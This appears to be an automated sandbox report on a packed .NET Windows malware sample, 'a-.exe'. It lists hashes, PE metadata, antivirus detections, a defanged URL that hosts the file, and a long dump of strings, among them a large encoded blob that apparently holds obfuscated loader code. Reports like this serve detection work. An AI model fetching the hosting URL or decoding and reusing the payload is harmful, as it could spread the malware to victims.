MalScore
100/100

a-.exe

Is DLL Packer Anti Debug Anti VM Signed XOR AntiVirus 13/67 Related 2234
File details Download PDF Report
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size: 107.50 KB (110080 bytes)
Compile time: 2018-04-12 13:27:40
MD5: 50418fe197695184ec800ab8b51ee6cb
SHA1: 2eafd7571f04c07bb28e08b55cd46e001ed1905e
SHA256: e5c25f362eeea95bd08811be6373853dfc90b9a881ba2912aae29e592876c7c1
Import hash: f34d5f2d4577ed6d9ceec516c1f5a744
Sections 3 .text .rsrc .reloc
Directories 3 import resource relocation
First submission: 2018-04-13 16:27:02
Last submission: 2018-04-13 16:27:02
Filename detected: - a-.exe (1)
URL file hosting
hXXp://realestatecurve.com/a-.exeVirusTotal
Antivirus Report
Report Date Detection Ratio Permalink Update
2018-04-13 03:36:43 [13/67] VirusTotal
PE Sections 2 suspicious
Name VAddress VSize Size MD5 SHA1
.text 0x2000 0xc354 50176 34eaf3afb98c3b2f56c5ba8e67f597cd 84ee657a25dda3f8a6e7f2957424b2ff96911582
.rsrc 0x10000 0xe548 58880 5e7e6136ad81480ec1a13c4e7b2613a5 bcba2fc3f610ac0db806914de3ea59f26f7b6b6a
.reloc 0x20000 0xc 512 dc295d90d6606ad95d1352b729aa3d43 2b76795ad11d8952ddeb09240e03b44c59e32dd3
PE Resources
Name Offset Size Language Sublanguage Data
RT_ICON 0x10178 4264 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_GROUP_ICON 0x11220 20 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_VERSION 0x11234 636 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_HTML 0x114b0 52901 LANG_GERMAN SUBLANG_GERMAN
RT_MANIFEST 0x1e358 490 LANG_NEUTRAL SUBLANG_NEUTRAL
  • API Alert
  • Anti Debug
Meta Info
LegalCopyright:
Assembly Version: 0.0.0.0
InternalName: TSHwEfE86lAQHfIt.enc.exe
FileVersion: 0.0.0.0
FileDescription:
Translation: 0x0000 0x04b0
OriginalFilename: TSHwEfE86lAQHfIt.enc.exe
ProductVersion: 0.0.0.0
XOR
No XOR informations found in this file.
Signature
This file isn't digitally signed
Packer(s)
Microsoft Visual C# / Basic .NET
Microsoft Visual Studio .NET
.NET executable
Microsoft Visual C# v7.0 / Basic .NET
File found
FIle type: Library
mscoree.dll
IP Found
No IP detected
URL(s)
No URL found
String too long
RGVidWdnZXIgZGV0ZWN0ZWQgIQ== UlNSQ05BTUU= UlNSQ1BXRA==4QyMgdmVyc2lvbiBvbmx5IHN1cHBvcnRzIGxldmVsIDEgYW5kIDM=hVGhpcyBwcm9ncmFtIGhhcyBiZWVuIHByb3RlY3RlZCBieSBhbiBldmFsdWF0aW9uIHZlcnNpb24gb2YgRG90d2FsbCBPYmZ1c2NhdG9y
^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aWkpJWtgciVqZ29gZnFeWCV+JWtgciV2cXdsa2JeWCV+JXgleCw+CA8MDHgIDwwMCA8MDF5BaWlMaHVqd3EtJ25gd2tgaTY3K2FpaScsWAgPDAx2cWRxbGYlYH1xYHdrJUxrcVVxdyVDbGthV2B2anB3ZmAtTGtxVXF3JW1IamFwaWApJUxrcVVxdyVpdUtkaGApJUxrcVVxdyVpdVF8dWAsPggPDAwIDwwMXkFpaUxodWp3cS0nbmB3a2BpNjcrYWlpJyklVmBxSWR2cUB3d2p3OHF3cGAsWAgPDAx2cWRxbGYlYH1xYHdrJXBsa3ElVmx/YGpjV2B2anB3ZmAtTGtxVXF3JW1IamFwaWApJUxrcVVxdyVtV2B2TGtjaiw+CA8MDAgPDAxeQWlpTGh1andxLSduYHdrYGk2NythaWknKSVWYHFJZHZxQHd3anc4cXdwYCxYCA8MDHZxZHFsZiVgfXFgd2slTGtxVXF3JUlqZGFXYHZqcHdmYC1Ma3FVcXclbUhqYXBpYCklTGtxVXF3JW1XYHZMa2NqLD4IDwwMCA8MDF5BaWlMaHVqd3EtJ25gd2tgaTY3K2FpaScsWAgPDAx2cWRxbGYlYH1xYHdrJUxrcVVxdyVJamZuV2B2anB3ZmAtTGtxVXF3JW1XYHZBZHFkLD4IDwwMCA8IDwwMdXBnaWxmJXZxZHFsZiVHbHFoZHUlR3xxYDdMaGRiYC1nfHFgXlglbGhiLAgPJSUlJSUlJSV+CA8lJSUlJSUlJSUlJSVwdmxrYiUtc2R3JXZxd2BkaCU4JWtgciVIYGhqd3xWcXdgZGgtbGhiLCwIDyUlJSUlJSUlJSUlJX4IDyUlJSUlJSUlJSUlJSUlJSV3YHFwd2sla2ByJUdscWhkdS12cXdgZGgsPggPJSUlJSUlJSUlJSUleAgPJSUlJSUlJSV4CA8MDAgPJSUlJSUlJSV2cWRxbGYlc2psYSVIZGxrLSwIDyUlJSUlJSUlfggPJSUlJSUlJSUlJSUlcXd8CA8lJSUlJSUlJSUlJSV+DAwIDwwMDAxMa3FVcXclY1dgdmpwd2ZgJTglQ2xrYVdgdmpwd2ZgLWtgciVMa3FVcXctNSwpJWtgciVMa3FVcXctNDc8LCkla2ByJUxrcVVxdy03NiwsPggPDAwMDHBsa3Eldldgdmpwd2ZgJTglVmx/YGpj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
LegalCopyright
Assembly Version
InternalName
FileVersion
FileDescription
VS_VERSION_INFO
VarFileInfo
5>DQV\chnu|
000004b0
TSHwEfE86lAQHfIt.enc.exe
ProductVersion
StringFileInfo
Translation
0.0.0.0
OriginalFilename
QhPr9nMonoNPuQ7o
InternalResources
CO a>
<ParseExternalIdAsync>d__173
{X/X
Int32
&*N(s
MediaTypeHeaderValue
GetChildAtPointSkip
ZlJ3QUdE
p.XefXAv\
h`& a
ICryptoTransform
f}E{
ix(cO
ResolveEventHandler
k u
bmhvaXdP
<WriteStartAttributeAsync>d__34
HTTP_REQUEST
QBwL
~aU$
ycRw
Substring
H@V,
UU"&
& J
6 9'
Uk5Bc1hm
N8@gu
V78r
wz3', 3
FrameworkEventSource
C*e
?3 ~
CryptoStream
[&?l
;P ]
r9exujnv
smethod_0
U3lzdGVtLkRyYXdpbmcuZGxs@L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU= I3Jlc25hbWUj
lM6
b0F6WWJy
PNG
h:1/
NB41
cHpuclpM
6,R)Xl/
I3Bhc3Mj
ZX x
R(wjxW
iubdpt21
RuntimeFieldHandle
xr3a
npp>
g8af
s7zos4kx
CaptionLocation
WebBrowserEvent
XvKDE
\fnk
J,=g
NameObjectCollectionBase
cN<&P'
o ^-:
ManagementRemoveAttribute
RegexCompilationInfo
ProviderType
n7\\<
k0d {
GpV8N
n
UEg!
. k9/
k9yamaig
Ltgy$
3$N0Y 0H
b2laSW1U
3P_.
Format
gyJg
SchemaImporterExtensionCollection
?wk-
& e
RetrieveVirtualItemEventArgs
03:7
'_9o
AppDomain
DataGridViewRowContextMenuStripNeededEventArgs
Ua~t~+
sCE~
get_CurrentDomain
PQ]D]
T:Eb
&
SystemCore_EnumerableDebugViewEmptyException
}T$Q
C=p3
& w
auoOe7
Z;Dzd`
h L &`
FromBase64String
P ?$
dbp6gzr0
FilterQuery
wtcR
cZ<B
~\/`
WorkItems
ExPJp
DataSetClearEventhandler
U<~/
$K %
#Blob
2zha$uM8
ISs,
cmxNYm9u
M[ro
WG9nbUxi
y" R3v
SGJQUGpu
p22)
78L
bklORVpm
)50r*,
akpoaGJK
System.Text
CallContextRemotingData
!hYP
(64#
r52j
0Gg#
^=d/ojR
.|k
Y34r
MQ==
Z2lBd3dw
Xf a?
PropertyChangedEventHandler_WinRT
Char
SafeHandle
Y2pWVmZU
^BsB
ys9vudyc
L ZA
6"?x
WriteOnlyArrayAttribute
m e?"
get_Name
h/Kz
s6
0 9
g10wengs
,DwG
tagDBIDX
l~r=
PropertyDefUser
af7mdp80
"q#L
fd0f49cb
XmlSchemaSubstitutionGroupV1Compat
CodePageHeader
#0Bm@6
ja%4
ConstantStringConcatenation
anc?9
CLIENTCREATESTRUCT
p:}n
\ .
c02wvfq7
%Nb=
H3NY
kV1)
SqlParameterConverter
>&<G
NumberFormatInfo
qM^:k
pwJ+2qf
DialogResult
dJsE:/
ErrorCodes
sbgwdx82
ph@
.text
'x?
GetString
?2'=
SEVyYnBH
J|I}
rI_";6
TabItemLeftEdge
Convert
ValidateNames
*Z+\
AxisStack
IGetProxyTarget
$zo{aQ
TX ("e
=V)E9
qag>r
ToBase64String
ParallelQuery
i7yoww3l
TableLayoutStyle
ContractRuntimeIgnoredAttribute
DefaultProxySection
g2M@
V1dMSm1i
afn923ia
Lp;t
@ q
dm`#
PackingSize
N47V6
|i*2
Ks5%Q
AddingNewEventHandler
{i-t
R_F(p
`.rsrc
8&{C
ApplicationStateDisposition
:m=c
CreateDecryptor
Ij1x
xn@l
& z
1^g_w
Lb#f
XF6c
Rt &
+\u*h
/SI}F
